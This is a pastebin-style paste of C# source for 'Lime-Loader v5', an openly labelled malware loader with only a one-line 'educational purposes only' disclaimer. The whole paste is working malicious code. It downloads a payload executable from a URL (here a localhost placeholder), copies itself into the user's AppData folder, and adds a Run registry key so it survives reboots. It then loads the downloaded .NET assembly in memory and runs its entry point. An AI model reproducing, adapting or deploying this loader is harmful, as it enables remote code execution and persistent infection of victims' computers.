sei


SUBMITTED BY: emmek

DATE: April 8, 2022, 2:33 p.m.

FORMAT: C#

SIZE: 3.6 kB

HITS: 16305

  1. using System;
  2. using System.IO;
  3. using System.Net;
  4. using System.Diagnostics;
  5. using System.Reflection;
  6. using System.Threading;
  7. using Microsoft.Win32;
  8. // │ Author : NYAN CAT
  9. // │ Name : Lime-Loader v5
  10. // │ Contact : https://github.com/NYAN-x-CAT
  11. // This program is distributed for educational purposes only.
  12. namespace Lime_Loader
  13. {
  14. class Program
  15. {
  16. public static void Main()
  17. {
  18. byte[] payloadBuffer = DownloadPayload(@"http://127.0.0.1/malware.exe");
  19. if (InstallPayload(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\payload.exe"))
  20. Environment.Exit(0);
  21. else
  22. RunPayload(payloadBuffer);
  23. }
  24. private static bool InstallPayload(string dropPath)
  25. {
  26. if (!Process.GetCurrentProcess().MainModule.FileName.Equals(dropPath, StringComparison.CurrentCultureIgnoreCase))
  27. {
  28. FileStream FS = null;
  29. try
  30. {
  31. if (!File.Exists(dropPath))
  32. FS = new FileStream(dropPath, FileMode.CreateNew);
  33. else
  34. FS = new FileStream(dropPath, FileMode.Create);
  35. byte[] loaderBuffer = File.ReadAllBytes(Process.GetCurrentProcess().MainModule.FileName);
  36. FS.Write(loaderBuffer, 0, loaderBuffer.Length);
  37. FS.Dispose();
  38. Registry.CurrentUser.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run\").SetValue(Path.GetFileName(dropPath), dropPath);
  39. Process.Start(dropPath);
  40. return true;
  41. }
  42. catch
  43. {
  44. return false;
  45. }
  46. }
  47. return false;
  48. }
  49. private static byte[] DownloadPayload(string url)
  50. {
  51. redownload:
  52. try
  53. {
  54. HttpWebRequest httpRequest = (HttpWebRequest)WebRequest.Create(url);
  55. httpRequest.Method = WebRequestMethods.Http.Get;
  56. HttpWebResponse httpResponse = (HttpWebResponse)httpRequest.GetResponse();
  57. Stream httpResponseStream = httpResponse.GetResponseStream();
  58. using (MemoryStream memoryStream = new MemoryStream())
  59. {
  60. httpResponseStream.CopyTo(memoryStream);
  61. httpResponse.Close();
  62. httpResponseStream.Dispose();
  63. return memoryStream.ToArray();
  64. }
  65. }
  66. catch
  67. {
  68. Thread.Sleep(5000);
  69. goto redownload;
  70. }
  71. }
  72. private static void RunPayload(byte[] payload)
  73. {
  74. new Thread(() =>
  75. {
  76. try
  77. {
  78. Assembly asm = AppDomain.CurrentDomain.Load(payload);
  79. MethodInfo Metinf = asm.EntryPoint;
  80. object InjObj = asm.CreateInstance(Metinf.Name);
  81. object[] parameters = new object[1]; // C#
  82. if (Metinf.GetParameters().Length == 0)
  83. {
  84. parameters = null; // VB.NET
  85. }
  86. Metinf.Invoke(InjObj, parameters);
  87. }
  88. catch { }
  89. })
  90. { IsBackground = false }.Start();
  91. }
  92. }
  93. }

comments powered by Disqus